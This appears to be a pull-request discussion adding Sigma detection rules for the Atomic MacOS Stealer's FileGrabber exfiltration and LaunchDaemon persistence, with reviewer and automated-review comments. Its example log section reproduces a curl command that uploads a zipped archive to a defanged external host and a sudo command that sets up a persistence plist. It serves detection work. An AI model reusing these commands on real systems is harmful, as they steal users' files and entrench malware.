Extend Atomic MacOS Stealer - FileGrabber Rules

[JasonPhang98]

Summary of the Pull Request

This pull request introduces new and updated detection rules for the Atomic MacOS Stealer (Amos) malware, focusing on its FileGrabber component and persistence mechanisms. It also deprecates an older rule and consolidates detection logic for process creation and file events related to Amos campaigns.

Detection enhancements for Atomic MacOS Stealer (Amos):

• Added a new experimental rule file_event_macos_malware_amos_persistence.yml to detect persistence artifacts created by Atomic MacOS Stealer, including suspicious helper files and LaunchDaemon plist placements.
• Introduced proc_creation_macos_malware_amos_curl_post.yml to identify both FileGrabber execution and curl-based POST requests used for data exfiltration, improving coverage of Amos infostealer activity.

Rule updates and consolidation:

• Deprecated and renamed the old FileGrabber process creation rule, updating its title and status to reflect its supersession and moving it to the deprecated/macos directory.
• Linked the new process creation rule to the deprecated rule via the related field, clarifying rule lineage and obsolescence.

Changelog

remove: Atomic MacOS Stealer - FileGrabber Infostealer Execution - deprecate in favour of e710a880-1f18-4417-b6a0-b5afdf7e33da
new: Atomic MacOS Stealer - Persistence Indicators
new: Atomic MacOS Stealer - FileGrabber Activity

Example Log Event

Curl with POST BuildID for data exfil
sh -c curl -X POST -H "user: 7/zIoa7MzoMYLytAWL6uB2aVsrPUdM3alLmJBslWLnQ=" -H "BuildID: rZStKjPMpx2u/16LDErtQ1sXFpE-pMw9nN9b15ThSRI=" -H "cl: 0" -H "cn: 0" -F "file=@/tmp/out.zip" hxxps://sivvino[.]com/contact

com.finder.helper.plist backdoor
sh -c echo '' | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist

Fixed Issues

SigmaHQ Rule Creation Conventions

[warlocksmurf]

I think the file proc_creation_macos_malware_amos_curl_post is missing the YAML file extension

[swachchhanda000]

I think the file proc_creation_macos_malware_amos_curl_post is missing the YAML file extension

I have added the '.yml' extension to that file. Some tests are failing after that. please also fix that @JasonPhang98

[Copilot]

Pull request overview

This PR introduces two new detection rules for Atomic MacOS Stealer (AMOS) malware, focusing on data exfiltration via curl POST requests and persistence mechanisms through LaunchDaemons. It also deprecates an older FileGrabber detection rule, consolidating and expanding detection capabilities for recent AMOS/SHAMOS campaigns.

Key Changes:

• Added detection for AMOS data exfiltration using curl with specific HTTP headers (BuildID, user, cl, cn) and file uploads
• Added detection for AMOS persistence artifacts including .helper files and com.finder.helper.plist LaunchDaemon
• Deprecated the original FileGrabber execution rule, with the new curl POST rule serving as its replacement

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 10 comments.

File	Description
proc_creation_macos_malware_amos_curl_post.yml	New detection rule for AMOS data exfiltration via curl POST commands with specific headers and FileGrabber execution patterns
file_event_macos_malware_amos_persistence.yml	New detection rule for AMOS persistence mechanisms through .helper files and LaunchDaemon plist creation
proc_creation_macos_malware_amos_filegrabber_exec.yml	Updates the original FileGrabber rule to deprecated status with proper metadata linking to the replacement rule

Comments suppressed due to low confidence (1)

deprecated/macos/proc_creation_macos_malware_amos_filegrabber_exec.yml:5

• The malware name should be consistently capitalized as "AMOS" (Atomic MacOS Stealer) rather than "Amos" to match industry standard naming conventions and the capitalization used in the title.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.